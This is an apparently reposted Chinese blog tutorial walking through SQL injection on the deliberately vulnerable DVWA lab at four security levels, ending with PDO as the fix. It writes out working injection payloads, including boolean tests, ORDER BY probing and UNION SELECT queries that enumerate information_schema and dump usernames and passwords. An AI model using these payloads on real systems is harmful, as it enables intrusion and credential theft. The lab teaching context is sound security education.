1. 程式人生 > >DVWA篇之SQL註入

DVWA篇之SQL註入

DVWA SQL註入 WEB

SQL Injection
本文需要的實驗環境及搭建請訪問:DVWA篇之環境搭建

SQL註入就是通過把sql語句插入到web表單提交或輸入頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令

Sql註入的一般流程:

1、判斷註入點
2、判斷註入類型
3、判斷數據庫類型
4、獲取數據庫權限,提權

Low級別
我們先來分析一下源碼,同時再一步步操作,驗證我們的分析
技術分享圖片
源碼關鍵部分:
技術分享圖片
我們可以看到,當進行查詢參數id的時候沒有進行任何過濾,很明顯存在註入漏洞的。
1、 這時我們試試判斷註入點
可以輸入單引號看是否報錯來判斷
技術分享圖片
可以註入
同時我們看到在處理id參數的時候加了引號‘$id‘,說明這是字符型的註入。
2、如何判斷字符型註入

測試方法:例如
http://127.0.0.1/test/test2.php?user=admin’and ‘1’=’1 返回成功
http://127.0.0.1/test/test2.php?user=admin’and ‘1’=’2 返回錯誤
當我們輸入1‘ and ‘1’=’1 的時候,語句的變化:Select * from user where user =’1’and ‘1’=’1’
這時,and左邊成立,右邊兩個字符型的1肯定也是相等的,成立,所以我們整條查詢語句成立。
當‘1‘=’1改為‘1’=‘2的時候整個查詢語句也就返回錯誤
這裏我們利用的查詢技巧就是,利用我們所能猜想的語句,經過單引號的出現,將原有的查詢語句中的單引號進行閉合,以達到我們想得到的結果
當然查詢判斷語句千萬,不僅僅這些,例如我們可以將裏面的‘1‘=’1改為‘a’=’a效果也是一樣的。

  • Low級別下進行測試,輸入1’and ‘1’=’1 查詢成功
    技術分享圖片
  • 輸入1’and ‘1’=’2查詢失敗
    技術分享圖片

3、當我們有了以上的判斷的時候,就可以進行獲取權限的查詢了。
(1)判斷字段數

  • 輸入1’order by 3 #查詢失敗
    技術分享圖片
  • 輸入 1’ order by 2 #查詢成功
    技術分享圖片
  • 註意:這裏加上#號的原因是起到註釋的效果。當我們輸入這條查詢語句的時候,就會變成:Select first_name,last_name from users WHERE user_id = ‘1’order by #‘
    可以看出多出來的單引號我們用#註釋掉了。
    (2)判斷當前使用的數據庫
  • 輸入1’union select 1,database() #
    技術分享圖片
    當前使用的是dvwa數據庫
    (3)判斷數據庫中的表。
  • 輸入1’union select 1,table_name from information_schema.tables where table_schema=’dvwa’#
    技術分享圖片
    Dvwa數據庫中存放了兩張表。
    (4)判斷users表中的字段
  • 輸入1’union select 1,column_name from information_schema.columns where table_name=’users’#
    技術分享圖片
    得到很多的字段,我們接下來破解user和password的字段內容
    (5)爆出user,password字段的內容
  • 輸入:1’union select user,password from users #
    技術分享圖片
    成功將這個數據庫中的用戶名和密碼爆出。

Medium級別

查看一下關鍵代碼
技術分享圖片

  • mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。
    下列字符受影響:
    ? \x00
    ? \n
    ? \r
    ? \
    ? ‘
    ? "
    ? \x1a
    這個函數在一定程度上控制了用戶的輸入。但是,查詢語句上,讀取id參數的時候沒有引號,這個和low級別有差別,這個就是數字型註入。遇到這種註入,上面的那個函數的作用就不存在了。因為我們註入的時候就不會輸入那些特殊字符串。

1、當我們不知道的情況下如何判斷是數字型註入。
測試方法:例如
http://127.0.0.1/test/test.php?id=1 and 1=1返回成功
http://127.0.0.1/test/test.php?id=1 and 1=2 返回錯誤
當我們去sql註入的時候,在服務端會向數據庫執行一個查詢的操作,在數字型註入的時候,查詢的語句一般就是這樣的Select from user where id=$id
這裏的$id是通過get,post(常見遞交方式)遞交的,當然這裏是利用的get方式遞交(判斷依據:遞交內容顯示在url中)。
當我們輸入判斷語句: and 1=1 的時候,查詢語句就變成了:Select
from user where id =1 and 1=1
這時and左邊是成立的,同時右邊1=1也是成立的。我們知道使用and的時候,要想結果返回true必須兩邊都是true。所以根據我們的判斷語句,返回的兩邊都是true,整個select查詢語句都是成功的。
當然如果輸入1=2,因為不成立,所以整條語句不成立,返回錯誤

根據實驗開始嘗試測試:

  • 輸入 1 and 1=1:
    技術分享圖片
    因為這裏是下拉框,我們可以通過元素檢查,修改value的值進行註入,同時還可以使用bp抓包,然後改包傳遞參數。我這裏因為java環境出了點小問題沒及時修復,就不用bp了。遞交
    技術分享圖片
    查詢成功
  • 將value的值改為 1 and 1=2.遞交
    技術分享圖片
    查詢失敗。可以證明是數字型註入。

下面的操作幾乎和low級別的差不多了,只不過將裏面使用的單引號,井號什麽的去除掉就可以了。非常簡單

查字段數: 1 order by 2
查數據庫:1 union select 1,database()
查數據庫中的表:1 union select 1,table_name from information_schema.tables where table_schema=’dvwa’
查users表中的字段: 1 union select column_name from information_schema.columns where table_name=’users’
爆出字段內容: 1 union select user,password from users

High級別

查看關鍵代碼
技術分享圖片
這裏的和low級別的差不多只是查詢語句後面添加了limit 1,意思是只返回查詢到的第一條記錄。
通過上面的實驗我們都知道,我們查詢的結果都是很多條的,第一條記錄是正常的結果。這樣就不會讓我們看到下面的一些惡意查詢結果。
其實在這裏,這個limit 1 的條件加與沒加是無所謂的,因為他的參數id是字符型的。在我們的low級別查詢的時候為了避免後面的單引號,我們選擇了將其註釋掉。這裏你在後面加了limit 1 ,還是一樣能被註釋掉的。完全沒什麽用。

  • 例如,輸入 1’ and 1=1 # 查詢語句就會變成
    Select first_name last_name from users where user_id = ‘1’and 1=1 # ‘ limit 1
    井號後面註釋掉,查詢條件成立。

  • 我們在實驗環境上進行測試一下
    技術分享圖片
    技術分享圖片
  • 查詢出所有的記錄
    技術分享圖片
    事實證明我們的分析沒有錯誤,接下來還是那一套猛如虎的操作,查字段數,查數據庫,查表,查字段,爆內容。不在一一贅述。

Impossible級別

查看關鍵源碼
技術分享圖片
代碼中限制返回的查詢結果數量為一時,才會輸出,防止大量數據泄露。同時采用了PDO技術,隔離了代碼與數據,使得用戶輸入的數據不再被當做代碼去執行。達到杜絕SQL註入的目的。無敵!
本人對於PDO技術也是知之甚少,等以後對PDO技術有所掌握的時候再來進行補充吧。

DVWA篇之SQL註入